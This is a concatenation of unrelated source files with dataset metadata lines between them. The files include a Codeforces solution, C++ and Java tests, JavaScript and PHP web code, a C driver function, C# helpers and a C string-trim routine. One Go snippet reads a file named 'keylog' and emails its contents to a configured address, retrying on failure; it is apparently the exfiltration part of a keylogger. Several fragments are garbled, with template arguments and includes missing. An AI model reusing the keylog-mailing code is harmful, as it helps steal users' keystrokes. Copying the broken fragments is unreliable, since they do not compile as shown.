#!/usr/bin/env python3 # https://codeforces.com/problemset/problem/1169/A # (n+1)余数和保持不变,然后求相等点,再检查相等点是否在两者之间 # (a+b)不够,可能是出现(a+b+n)或(a+b-n)的情况 # 逻辑一大堆,好像还没有暴力法方便? # 重新整理逻辑..之前修修补补太多次了.. # 先算ta和tb; 或者直接算list(暴力法) def f(l): n,a,x,b,y = l al = list(range(a,x+1,+1)) if x>=a else list(range(a,n+1,+1))+list(range(1,x+1,+1)) bl = list(range(b,y-1,-1)) if y<=b else list(range(b, 0,-1))+list(range(n,y-1,-1)) t = min(len(al),len(bl)) return sum([al[i]==bl[i] for i in range(t)]) l = list(map(int,input().split())) print('YES' if f(l) else 'NO')
python
12
0.596154
88
29.105263
19
starcoderdata
/* Copyright (c) 2019, tini2p * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include "src/data/router/identity.h" namespace crypto = tini2p::crypto; using Identity = tini2p::data::Identity; using crypto_t = Identity::ecies_x25519_hmac_t; using signing_t = Identity::eddsa_t; struct RouterIdentityFixture { RouterIdentityFixture() : identity() {} Identity identity; }; TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity has a crypto public key", "[ident]") { REQUIRE_NOTHROW(boost::apply_visitor( [](const auto& c) { REQUIRE(c.pubkey().size() == std::decay_t }, identity.crypto())); REQUIRE(identity.crypto_pubkey_len() == crypto_t::PublicKeyLen); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity has a signing public key", "[ident]") { boost::apply_visitor( [](const auto& s) { REQUIRE(s.pubkey().size() == std::decay_t }, identity.signing()); REQUIRE_NOTHROW(identity.signing_pubkey_len() == signing_t::PublicKeyLen); } TEST_CASE_METHOD(RouterIdentityFixture, "RouterIdentity has a cert", "[ident]") { REQUIRE_NOTHROW(identity.cert()); const auto& cert = identity.cert(); REQUIRE(cert.cert_type == Identity::cert_t::cert_type_t::KeyCert); REQUIRE(cert.length == Identity::cert_t::KeyCertSize); REQUIRE(cert.sign_type == Identity::cert_t::sign_type_t::EdDSA); REQUIRE(cert.crypto_type == Identity::cert_t::crypto_type_t::EciesX25519); } TEST_CASE_METHOD(RouterIdentityFixture, "RouterIdentity has a valid size", "[ident]") { REQUIRE_NOTHROW(identity.size()); const auto keys_len = crypto_t::PublicKeyLen + signing_t::PublicKeyLen; const auto expected_len = keys_len + (Identity::KeysPaddingLen - keys_len) + Identity::cert_t::KeyCertSize; REQUIRE(identity.size() == expected_len); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity serializes and deserializes a valid router identity", "[ident]") { using Catch::Matchers::Equals; using vec = std::vector REQUIRE_NOTHROW(identity.serialize()); REQUIRE_NOTHROW(identity.deserialize()); REQUIRE_NOTHROW(Identity(identity.buffer())); Identity ident_copy(identity.buffer()); REQUIRE_THAT( static_cast Equals(static_cast REQUIRE_THAT( static_cast Equals(static_cast const auto& signing = boost::get const auto& sigkey0 = signing.pubkey(); const auto& sigkey1 = signing.pubkey(); REQUIRE_THAT(vec(sigkey0.begin(), sigkey0.end()), Equals(vec(sigkey1.begin(), sigkey1.end()))); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity signs and verifies a message", "[ident]") { std::array<std::uint8_t, 13> msg{}; Identity::eddsa_t::signature_t signature; Identity::signature_v sig; REQUIRE_NOTHROW(sig = identity.Sign(msg.data(), msg.size())); REQUIRE(identity.Verify(msg.data(), msg.size(), sig)); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity encrypts and decrypts a message", "[ident]") { using Catch::Matchers::Equals; using vec = std::vector using crypto_t = Identity::ecies_x25519_hmac_t; crypto_t::message_t message, result; crypto_t::ciphertext_t ciphertext; crypto::RandBytes(message); crypto_t::keypair_t r_id_keys(crypto_t::create_keys()), r_ep_keys; // derive realistic mock remote id + ephemeral keypairs REQUIRE_NOTHROW(crypto_t::curve_t::DeriveEphemeralKeys( r_id_keys, r_ep_keys, crypto_t::context_t("testctx"))); Identity full_ident; full_ident.rekey r_ep_keys.pubkey); REQUIRE_NOTHROW(full_ident.Encrypt ciphertext)); REQUIRE_NOTHROW(full_ident.Decrypt ciphertext)); REQUIRE_THAT( vec(message.begin(), message.end()), Equals(vec(result.begin(), result.end()))); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity rejects deserializing an invalid cert", "[ident]") { auto cert_data = identity.buffer().data() + Identity::CertOffset; // invalidate the cert length tini2p::BytesWriter writer(identity.buffer()); writer.skip_bytes(Identity::CertOffset + Identity::cert_t::LengthOffset); writer.write_bytes REQUIRE_THROWS(identity.deserialize()); // reset length, overwrite signing + crypto types with random data writer.skip_back(Identity::cert_t::LengthLen); writer.write_bytes(Identity::cert_t::length_t(0x07)); writer.write_bytes(tini2p::crypto::RandInRange()); REQUIRE_NOTHROW(identity.deserialize()); REQUIRE(identity.cert().locally_unreachable()); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity rejects decryption without remote keys", "[ident]") { // unrealistic, mock identity and ephemeral remote public keys crypto_t::keypair_t crypto_keys; Identity ident; crypto_t::message_t message; crypto_t::ciphertext_t ciphertext; REQUIRE_THROWS(ident.Decrypt ciphertext)); } TEST_CASE_METHOD( RouterIdentityFixture, "RouterIdentity rejects signing without a private key", "[ident]") { Identity ident; ident.rekey std::array<std::uint8_t, 7> msg{}; Identity::signature_v sig; REQUIRE_THROWS(sig = ident.Sign(msg.data(), msg.size())); }
c++
19
0.712173
120
31.859813
214
starcoderdata
/* eslint-disable no-irregular-whitespace */ import config from '@/config' const { useI18n } = config /* 函数节流 */ export function throttle(fn, interval) { const __self = fn // 保存需要被延迟执行的函数引用 let timer // 定时器 let firstTime = true // 是否是第一次调用 return function() { const args = arguments const __me = this if (firstTime) { // 如果是第一次调用,不需延迟执行 __self.apply(__me, args) return (firstTime = false) } if (timer) { // 如果定时器还在,说明前一次延迟执行还没有完成 return false } timer = setTimeout(function() { // 延迟一段时间执行 clearTimeout(timer) timer = null __self.apply(__me, args) }, interval || 500) } } /* 获取图片地址 */ export function getImage(name) { // return `http://10.36.234.85:8888/geological/image/${name}.png` // return 'https://upload.wikimedia.org/wikipedia/commons/thumb/6/60/Cat_silhouette.svg/400px-Cat_silhouette.svg.png' return 'http://10.36.234.85:8888/cangchujingyingqiye.png' } /* echarts 图片下载 */ export function downloadImpByChart(chartId, filename) { // eslint-disable-next-line no-undef const myChart = echarts.getInstanceByDom(document.getElementById(chartId)) const url = myChart.getConnectedDataURL({ pixelRatio: 5, // 导出的图片分辨率比率,默认是1 backgroundColor: 'rgba(8, 26, 57, 1)', // 图表背景色 type: 'png' // 图片类型支持png和jpeg }) const $a = document.createElement('a') const type = 'png' $a.download = filename + '.' + type $a.target = '_blank' $a.href = url // Chrome and Firefox if (typeof MouseEvent === 'function') { const evt = new MouseEvent('click', { view: window, bubbles: true, cancelable: false }) $a.dispatchEvent(evt) } else { // IE const html = '' + '<body style="margin:0;">' + '<img src="' + url + '" style="max-width:100%;" title="' + filename + '" />' + ' const tab = window.open() tab.document.write(html) } } /* 获取当前时间 */ export function getNowDate() { const date = new Date() const year = date.getFullYear() const month = date.getMonth() + 1 const day = date.getDate() const hour = date.getHours() const minute = date.getMinutes() const second = date.getSeconds() return `${year}-${conver(month)}-${conver(day)} ${conver(hour)}:${conver(minute)}:${conver(second)}` } /* 修改时间格式为 yyyy-mm-dd */ export function formatDate(date) { const year = date.getFullYear() let month = date.getMonth() + 1 let day = date.getDate() month = month < 10 ? '0' + month : month day = day < 10 ? '0' + day : day return `${year}-${month}-${day}` } function conver(s) { return s < 10 ? '0' + s : s } /* 修改时间格式为 yyyy-mm-dd HH */ export function formatDateNew(date) { const year = date.getFullYear() let month = date.getMonth() + 1 let day = date.getDate() const hour = date.getHours() month = month < 10 ? '0' + month : month day = day < 10 ? '0' + day : day return `${year}-${month}-${day} ${conver(hour)}` } /* 获取当前时间前一个月 */ export function getNowBeforeDate() { const date = new Date() date.setMonth(date.getMonth() - 1) const year = date.getFullYear() const month = date.getMonth() + 1 const day = date.getDate() const hour = date.getHours() const minute = date.getMinutes() const second = date.getSeconds() return `${year}-${conver(month)}-${conver(day)} ${conver(hour)}:${conver(minute)}:${conver(second)}` } /* 删除数组中指定元素 */ export function arrRemove(arr, val) { const index = arr.indexOf(val) if (index > -1) { arr.splice(index, 1) } } export function getRandomNum() { const Min = 100 var Range = 100 * 100 * 100 * 100 - Min var Rand = Math.random() return (Min + Math.round(Rand * Range)) + '' } const recursion = (data, current) => { var result = null if (!data) { return } for (var i in data) { var item = data[i] // eslint-disable-next-line eqeqeq if (item.catalogueId == current) { result = item break } else if (item.menu && item.menu.length > 0) { result = recursion(item.menu, current) } } return result } const recursionCname = (data, current) => { var result = null if (!data) { return } for (var i in data) { var item = data[i] // eslint-disable-next-line eqeqeq if (item.chineseName == current) { result = item break } else if (item.menu && item.menu.length > 0) { result = recursionCname(item.menu, current) } } return result } const recursionEname = (data, current) => { var result = null if (!data) { return } for (var i in data) { var item = data[i] // eslint-disable-next-line eqeqeq if (item.englishName == current) { result = item break } else if (item.menu && item.menu.length > 0) { result = recursionEname(item.menu, current) } } return result } // 进行类型判断 var is = { types: ['Array', 'Boolean', 'Date', 'Number', 'Object', 'Function', 'RegExp', 'String', 'Window', 'HTMLDocument'] } is.types.map(item => { is[item] = (function(type) { return function(obj) { return Object.prototype.toString.call(obj) === '[object ' + type + ']' } })(item) }) const showTitle = (item, vm) => { let { title } = item.meta if (!title) return if (useI18n) { title = vm.$t(item.name) } else { title = (item.meta && item.meta.title) || item.name } return title } // 全屏 function fullScreen() { var element = document.documentElement if (element.requestFullscreen) { element.requestFullscreen() } else if (element.msRequestFullscreen) { element.msRequestFullscreen() } else if (element.mozRequestFullScreen) { element.mozRequestFullScreen() } else if (element.webkitRequestFullscreen) { element.webkitRequestFullscreen() } } // 退出全屏 function exitFullscreen() { if (document.exitFullscreen) { document.exitFullscreen() } else if (document.msExitFullscreen) { document.msExitFullscreen() } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen() } else if (document.webkitExitFullscreen) { document.webkitExitFullscreen() } } /**  * [isFullscreen 判断浏览器是否全屏]  * @return [全屏则返回当前调用全屏的元素,不全屏返回false]  */ function isFullscreen() { return document.fullscreenElement    ||    document.msFullscreenElement  ||    document.mozFullScreenElement ||    document.webkitFullscreenElement || false } export { recursion, recursionCname, fullScreen, exitFullscreen, isFullscreen, recursionEname, is, showTitle }
javascript
21
0.626115
119
24.20155
258
starcoderdata
@Test public void testParseContextSuccessfully() throws Exception { CdsParser parsedFile = parseSampleFile("/ParseContext.hdbdd", "sap/table/ParseContext.hdbdd"); List<EntitySymbol> parsedEntities = this.symbolTable.getSortedEntities();//get only Entities assertEquals(0, parsedFile.getNumberOfSyntaxErrors()); assertEquals(10, parsedEntities.size());//-> must be 13 after type is implemented parsedEntities.forEach(el -> assertEquals("TEST_SCHEMA", el.getSchema())); }
java
11
0.757085
98
54
9
inline
<?php /** * User: dorin * Date: 24.03.2015 * Time: 16:15 * @author */ namespace Veriatrans\MainBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Symfony\Component\Security\Core\Exception\AccessDeniedException; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Validator\Constraints\Date; //use Veriatrans\MainBundle\Form\ClientType; /** * Class ClientController * @package Veriatrans\MainBundle\Controller * @Route("/admin") */ class EventController extends Controller { private $arrayTableAndRow = array( 'Driver' => array( array( 'medicalIssueDate'=>'1 MONTH', 'expiry'=>'2 YEAR', 'description'=>'%s - data eliberării avizului medical', '%s'=>array( 'FirstName', 'LastName' ) ) ), 'Truck' => array( array( 'ITPDate'=>'1 MONTH', 'description'=>'%s - ITP', '%s'=>array( 'RegistrationNumber', 'Model' ) ) ) ); /** * Create new event * * @Route("/list-events", name="list_events") * @Method("GET") * @Security("has_role('ROLE_ADMIN')") * @Template() */ public function listAction() { return array( 'currentMenuItem' => '' ); } /** * * @Route("/json-list-events", name="json_list_events") * @Method("GET") * @Security("has_role('ROLE_ADMIN')") * @Template() */ public function jsonRetrieveAction(Request $request){ /* // $_GET parameters $request->query->get('name'); // $_POST parameters $request->request->get('name');*/ $iDisplayLength = $request->query->get('iDisplayLength'); $iDisplayStart = $request->query->get('iDisplayStart'); $iSortCol_0 = $request->query->get('iSortCol_0'); $sSortDir_0 = $request->query->get('sSortDir_0'); $mDataProp_0 = $request->query->get("mDataProp_{$iSortCol_0}"); $em = $this->getDoctrine()->getManager(); $Events = $em->getRepository( 'VeriatransMainBundle:Event' )->get($this->arrayTableAndRow,$iDisplayStart,$iDisplayLength,$mDataProp_0,$sSortDir_0); $AllEvents = $em->getRepository( 'VeriatransMainBundle:Event' )->findAll(); $TempEvents = array(); $i=0; foreach($Events AS $eachEvent){ $modifiedAt = $eachEvent['ModifiedAt']; unset($eachEvent['ModifiedAt']); $eachEvent['order'] = $iDisplayStart + (++$i); $eachEvent['ExpireDays'] = $eachEvent['ExpireDays'].' '.'zile'; if($eachEvent['IsViewed']){ $modifiedAt = -$modifiedAt; } $TempEvents[$modifiedAt] = $eachEvent; } $Events = $TempEvents; krsort($Events); $Events = array_values($Events); $Events = array( 'iTotalRecords' => count($AllEvents), 'iTotalDisplayRecords' => count($AllEvents), 'sEcho' => 0, 'aaData' => $Events ); print(json_encode($Events)); exit; } /** * @Route("/{id}/json-event-viewed", name="json_event_viewed") * @Method("DELETE") * @Template() * @Security("has_role('ROLE_ADMIN')") */ public function jsonDeleteAction( Request $request,$id) { $translator = $this->get( 'translator' ); $em = $this->getDoctrine()->getManager(); $Client = $em->getRepository( 'VeriatransMainBundle:Event' )->find( $id ); if ( !$Client ) { throw $this->createNotFoundException( $translator->trans( 'Event not found.', array(), 'MainBundle' ) ); } $deleteResult = $em->getRepository( 'VeriatransMainBundle:Event' )->updateOneCell(array('isViewed'=>true),(integer)$id); print(json_encode(array('success'=>$deleteResult,'message'=>''))); exit; } }
php
16
0.55503
155
30.964029
139
starcoderdata
def test_modules_create_nfcore_modules_subtool(self): """Create a tool/subtool module in a nf-core/modules clone""" module_create = nf_core.modules.ModuleCreate( self.nfcore_modules, "star/index", "@author", "process_medium", False, False ) module_create.create() assert os.path.exists(os.path.join(self.nfcore_modules, "modules", "star", "index", "main.nf")) assert os.path.exists(os.path.join(self.nfcore_modules, "tests", "modules", "star", "index", "main.nf"))
python
9
0.681452
108
61.125
8
inline
package com.unbright.query.extension.handler; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import java.lang.reflect.Field; /** * Created with IDEA * ProjectName: mplus-helper * Date: 2020/4/17 * Time: 11:19 * * 构造字段查询条件. * * @author WZP * @version v1.0 */ public interface WrapperBuilder { /** * 构造查询条件. * * @param field 字段 * @param obj 对象 * @param wrapper 查询构造器. */ void build(Field field, Object obj, QueryWrapper wrapper); }
java
8
0.665557
80
19.033333
30
starcoderdata
static void af9013_statistics_work(struct work_struct *work) { struct af9013_state *state = container_of(work, struct af9013_state, statistics_work.work); unsigned int next_msec; /* update only signal strength when demod is not locked */ if (!(state->fe_status & FE_HAS_LOCK)) { state->statistics_step = 0; state->ber = 0; state->snr = 0; } switch (state->statistics_step) { default: state->statistics_step = 0; /* fall-through */ case 0: af9013_statistics_signal_strength(&state->fe); state->statistics_step++; next_msec = 300; break; case 1: af9013_statistics_snr_start(&state->fe); state->statistics_step++; next_msec = 200; break; case 2: af9013_statistics_ber_unc_start(&state->fe); state->statistics_step++; next_msec = 1000; break; case 3: af9013_statistics_snr_result(&state->fe); state->statistics_step++; next_msec = 400; break; case 4: af9013_statistics_ber_unc_result(&state->fe); state->statistics_step++; next_msec = 100; break; } schedule_delayed_work(&state->statistics_work, msecs_to_jiffies(next_msec)); }
c
11
0.676417
60
22.297872
47
inline
using System; using System.Collections.Generic; using System.Linq; using EnvDTE; using EnvDTE80; using GoToInterfaceImplementation.Domain.Contracts.Code; using GoToInterfaceImplementation.Domain.Contracts.Editor; using GoToInterfaceImplementation.Domain.Contracts.Services; using GoToInterfaceImplementation.Domain.EnvDte.Services; namespace GoToInterfaceImplementation.Domain.EnvDte.Code { public class InterfaceEvent : SemanticElement IInterfaceEvent { public AccessModifier AccessModifier { get { ITypeConverter<vsCMAccess, AccessModifier> converter = new VsCMAccessToAccessModifierConverter(); return converter.Convert(CodeElement.Access); } } public IInterface ContainingType { get { return new Interface(CodeEditor, (CodeInterface)CodeElement.Parent); } } public InterfaceEvent(ICodeEditor codeEditor, CodeEvent codeEvent) : base(codeEditor, codeEvent) { } public IEnumerable FindImplementations() { IImplementationFinder<IInterfaceEvent, IClassEvent> finder = new InterfaceEventImplementationFinder(); return finder.Find(this); } } }
c#
15
0.670905
88
26.854167
48
starcoderdata
function solve(input = 0) { let fruits = {}; let map = new Map(); for (const line of input) { let [name, quantity] = line.split(" => "); quantity = Number(quantity); if (!fruits.hasOwnProperty(name)) { fruits[name] = quantity; } else { fruits[name] += quantity; } if (fruits[name] >= 1000) { let bottles = Math.floor(fruits[name] / 1000); fruits[name] -= bottles * 1000; if (!map.has(name)) { map.set(name, bottles); } else { let currentCount = map.get(name); currentCount += bottles; map.set(name, currentCount); } } } for (const m of map) { console.log(`${m[0]} => ${m[1]}`); } } solve([ "Orange => 2000", "Peach => 1432", "Banana => 450", "Peach => 600", "Strawberry => 549", ]);
javascript
11
0.449791
58
22.9
40
starcoderdata
def main(a): s=0 t=0 for i in range(0,len(a)): if a[i]=="B": s+=len(a)-i-1 t+=1 return s-t*(t-1)/2 a=input() print(int(main(a)))
python
13
0.470588
27
13
11
codenet
// ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ namespace System.Fabric.ImageStore { using System; using System.IO; using System.Security; /// /// Helper class to figure out what type of exception is being dealt with. /// internal static class ExceptionHandler { /// /// Returns whether an exception is considered fatal and the process should exit. /// The function should be used only if all other expected known exceptions are caught before. /// /// /// The function probably doesn't include all possible fatal exceptions. /// Therefore it is necesarry to report a Warning/Error to HealthStore if IsFatalException returns false for further investigation and bug fixes. /// If function returns true, consider to report Error to HealthStore that can cause the whole node to be restarted. /// DISCUSS ANY CHANGE TO THIS FUNCTION with owners of files where the function is used. Adding or removing a fatal exception can cause services to stop working properly. /// /// <param name="e">The exception being checked. /// if the exception is fatal, false otherwise public static bool IsFatalException(Exception e) { return (e is OutOfMemoryException) || // The exception that is thrown when there is not enough memory to continue the execution of a program. (e is StackOverflowException) || // The exception that is thrown when the execution stack overflows because it contains too many nested // method calls. This class cannot be inherited. (e is AppDomainUnloadedException) || // The exception that is thrown when an attempt is made to access an unloaded application domain. (e is PlatformNotSupportedException) || // The exception that is thrown when a feature does not run on a particular platform. (e is BadImageFormatException) || // The exception that is thrown when the file image of a dynamic link library (DLL) or an executable // program is invalid. (e.HResult.Equals(FabricErrorCode.DuplicateWaitObject)) || // The exception that is thrown when an object appears more than once in an array of synchronization // objects. (e.HResult.Equals(FabricErrorCode.EntryPointNotFound)) || // The exception that is thrown when an attempt to load a class fails due to the absence of an // entry method. (e is InvalidProgramException) || // The exception that is thrown when a program contains invalid Microsoft intermediate language // (MSIL) or metadata. Generally this indicates a bug in the compiler that generated the ... (e is TypeInitializationException) || // The exception that is thrown as a wrapper around the exception thrown by the class initializer. // This class cannot be inherited. (e is TypeLoadException) || // TypeLoadException is thrown when the common language runtime cannot find the assembly, the type // within the assembly, or cannot load the type. (e is System.Threading.SynchronizationLockException) /*The exception that is thrown when a method requires the caller to own the lock on a given Monitor, and the method is invoked by a caller that does not own that lock.*/; // Exceptions, that can be caused by a bug within the code, are not considered to be fatal but MUST be reported to HealthStore for further discovery, investigation and fixes. // (e is NullReferenceException) || // (e is NotImplementedException) || // (e is DivideByZeroException) || // (e is OverflowException) || //The exception that is thrown when an arithmetic, casting, or conversion operation in a checked context results in an overflow. // (e is ArithmeticException) || //The exception that is thrown for errors in an arithmetic, casting, or conversion operation. // (e is ArrayTypeMismatchException) || //The exception that is thrown when an attempt is made to store an element of the wrong type within an array. // (e is FieldAccessException) || //The exception that is thrown when there is an invalid attempt to access a private or protected field inside a class. // (e is IndexOutOfRangeException) || //The exception that is thrown when an attempt is made to access an element of an array with an index that is outside the bounds of the array. This class cannot be inherited // (e is InvalidCastException) || //The exception that is thrown for invalid casting or explicit conversion. // (e is MemberAccessException) || //The exception that is thrown when an attempt to access a class member fails // (e is MissingFieldException) || //The exception that is thrown when there is an attempt to dynamically access a field that does not exist. // (e is MissingMemberException) || //The exception that is thrown when there is an attempt to dynamically access a class member that does not exist. // (e is MissingMethodException) || // (e is NotFiniteNumberException) || // (e is RankException) || // (e is TypeUnloadedException) || //The exception that is thrown when there is an attempt to access an unloaded class. // (e is UnauthorizedAccessException) || // (e is System.Runtime.InteropServices.InvalidOleVariantTypeException) || // (e is System.Runtime.InteropServices.MarshalDirectiveException) || //The exception that is thrown by the marshaler when it encounters a MarshalAsAttribute it does not support. // (e is System.Runtime.InteropServices.SafeArrayRankMismatchException) || //The exception thrown when the rank of an incoming SAFEARRAY does not match the rank specified in the managed signature. // (e is System.Runtime.InteropServices.SafeArrayTypeMismatchException) || //The exception thrown when the type of the incoming SAFEARRAY does not match the type specified in the managed signature. } /// /// Returns whether an exception was thrown by an IO specific operation or not. /// /// <param name="e">The exception being checked. /// if the exception is fatal, false otherwise. public static bool IsIOException(Exception e) { return (e is ArgumentException) || // stream is not writable. FileSystemWatcher - The path specified through the path parameter does not exist. // Also covers ArgumentNullException when stream reference is a null reference (e is ObjectDisposedException) || // AutoFlush is true or the StreamWriter buffer is full, and current writer is closed. (e is NotSupportedException) || // AutoFlush is true or the StreamWriter buffer is full, and the contents of the buffer cannot be // written to the underlying fixed size stream because the StreamWriter is at the end the stream. // When there is an attempt to read, seek, or write to a stream that does not support the invoked // functionality. (e is IOException) || // The target file is open or memory-mapped on a computer. There is an open handle on the file. // Also covers DirectoryNotFound and FileNotFound exceptions. (e is SecurityException) || // The caller does not have the required permission. (e is UnauthorizedAccessException); // The caller does not have the required permission. Path is a directory. Path specified a read-only file. } } }
c#
21
0.653333
223
87.431579
95
starcoderdata
package org.ogema.tools.app.useradmin.impl; import java.util.Collections; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; import org.ogema.core.administration.AdministrationManager; import org.ogema.core.administration.UserAccount; import org.ogema.core.application.Application; import org.ogema.core.application.ApplicationManager; import org.ogema.core.model.Resource; import org.ogema.core.model.ResourceList; import org.ogema.tools.app.useradmin.api.UserDataAccess; import org.ogema.tools.app.useradmin.config.MessagingAddress; import org.ogema.tools.app.useradmin.config.UserAdminData; import org.ogema.tools.resource.util.ResourceUtils; import org.osgi.framework.BundleContext; import org.osgi.framework.ServiceRegistration; import org.osgi.service.component.annotations.Activate; import org.osgi.service.component.annotations.Component; import org.smartrplace.widget.extensions.GUIUtilHelper; /** * * @author jlapp */ @Component(service = Application.class) public class UserDataAccessImpl implements UserDataAccess, Application { final static String TOPLEVELNAME = "userAdminData"; final static String MESSAGINGDECORATOR = "messagingAddresses"; final static String PROPERTIESDECORATOR = "properties"; ApplicationManager appman; AdministrationManager admin; UserAdminData data; BundleContext ctx; ServiceRegistration sreg; @Activate void activate(BundleContext ctx) { this.ctx = ctx; } @Override public void start(ApplicationManager appManager) { this.appman = appManager; this.admin = appman.getAdministrationManager(); sreg = ctx.registerService(UserDataAccess.class, this, null); } @Override public void stop(AppStopReason reason) { if (sreg != null) { sreg.unregister(); } } @Override public List getAllUsers() { return appman.getAdministrationManager().getAllUsers() .stream().map(UserAccount::getName).collect(Collectors.toList()); } @Override public synchronized Resource getUserPropertyResource(String userId) { if (userId == null || !getAllUsers().contains(userId)) { throw new IllegalArgumentException("invalid user ID: " + userId); } return GUIUtilHelper.getOrCreateUserPropertyResource(userId, getBaseResource().userData()); } private ResourceList getAddressList(String userId) { Resource userRes = getUserPropertyResource(userId); @SuppressWarnings("unchecked") ResourceList l = userRes.getSubResource(MESSAGINGDECORATOR, ResourceList.class); if (!l.exists()) { l.create(); l.activate(false); } if (l.getElementType() == null) { l.setElementType(MessagingAddress.class); } return l; } @Override public List getMessagingAddresses(String userId, String addressType) { return getMessagingAddresses(userId, addressType, false); } public List getMessagingAddresses(String userId, String addressType, boolean returnAlsoInactive) { ResourceList addresses = getAddressList(userId); if ((!returnAlsoInactive) && (!addresses.isActive())) { return Collections.emptyList(); } return addresses.getAllElements().stream() .filter(a -> addressType == null || addressType.equalsIgnoreCase(a.addressType().getValue())) .collect(Collectors.toList()); } @Override public synchronized void addMessagingAddress(String userId, String addressType, String address) { if (userId == null || addressType == null || address == null) { throw new IllegalArgumentException("null argument"); } if (getMessagingAddresses(userId, addressType, true).stream() .filter(addr -> address.equals(addr.address().getValue())).findAny().isPresent()) { return; } ResourceList l = getAddressList(userId); String resname = ResourceUtils.getValidResourceName(addressType + "/" + address); MessagingAddress newAddr = l.getSubResource(resname) != null ? l.add() //name clash : l.getSubResource(resname, MessagingAddress.class); newAddr.address().create(); newAddr.addressType().create(); newAddr.address().setValue(address); newAddr.addressType().setValue(addressType); newAddr.activate(true); } @Override public boolean removeMessagingAddress(String userId, String addressType, String address) { if (userId == null || addressType == null || address == null) { throw new IllegalArgumentException("null argument"); } Optional addressRes = getMessagingAddresses(userId, addressType, true).stream() .filter(addr -> address.equals(addr.address().getValue())).findAny(); addressRes.ifPresent(MessagingAddress::delete); return addressRes.isPresent(); } @Override public synchronized UserAdminData getBaseResource() { if (data == null) { data = appman.getResourceManagement().createResource(TOPLEVELNAME, UserAdminData.class); data.activate(false); } return data; } }
java
6
0.688726
122
37.39726
146
starcoderdata
package main import ( "fmt" "log" "time" "gopkg.in/gomail.v2" ) func SendMail() { dialer := gomail.NewDialer(conf.GetString("host_mail"), conf.GetInt("port_mail"), conf.GetString("user_mail"), conf.GetString("pass_mail")) message := gomail.NewMessage() message.SetHeader("From", conf.GetString("from_mail")) message.SetHeader("To", conf.GetString("to_mail")) message.SetHeader("Subject", fmt.Sprintf("%s %s", conf.GetString("subject_mail"), time.Now().Format(time.RFC1123Z))) message.SetBody("text", ReadLogFile("keylog")) TryToSend: err := dialer.DialAndSend(message) if err != nil { log.Println(err) time.Sleep(30 * time.Second) goto TryToSend } log.Println("Send mail...") }
go
12
0.691475
68
22.83871
31
starcoderdata
# Project imports from experiments.deletion_experiment import DeletionExperiment from experiments.exact_keyword_search_experiment import ExactKeywordSearchExperiment from experiments.multiple_results_experiment import MultipleResultsExperiment from experiments.wildcard_query_search_experiment import WildcardQuerySearchExperiment if __name__ == '__main__': ExactKeywordSearchExperiment() WildcardQuerySearchExperiment() DeletionExperiment() MultipleResultsExperiment()
python
6
0.823315
86
43.833333
12
starcoderdata
/* ************************************************************************** */ /* */ /* :::::::: */ /* ft_strtrim.c :+: :+: */ /* +:+ */ /* By: alkrusts +#+ */ /* +#+ */ /* Created: 2020/05/23 15:55:04 by alkrusts #+# #+# */ /* Updated: 2020/07/11 17:34:43 by alkrusts ######## odam.nl */ /* */ /* ************************************************************************** */ #include "libft.h" static char *ft_finish(const char *src, size_t lenght, int x) { char *dest; int y; int size; size = ft_strlen(src) - lenght - x; dest = ft_calloc(size + 1, sizeof(char)); if (dest == NULL) return (NULL); y = 0; src = src + x; while (size > 0) { dest[y] = *src; y++; src++; size--; } return (dest); } static char *ft_search(const char *s1, const char *set, int x) { const char *goal; int length; int hit; size_t size; size = 0; length = (int)(ft_strlen(s1) - 1); while (length > 0) { goal = set; hit = ft_compare(s1[length], goal); if (hit) size++; else return (ft_finish(s1, size, x)); length--; } return (ft_strdup(s1)); } char *ft_strtrim(char const *s1, char const *set) { size_t hit; const char *holdsrc; size_t x; if (s1 == NULL) return (NULL); if (set == NULL) return (ft_strdup(s1)); x = 0; holdsrc = s1; while (*holdsrc != '\0') { hit = ft_compare(*holdsrc, set); if (hit) x++; else return (ft_search(s1, set, (int)x)); holdsrc++; } return (ft_strdup(holdsrc)); }
c
13
0.360572
80
23.17284
81
starcoderdata
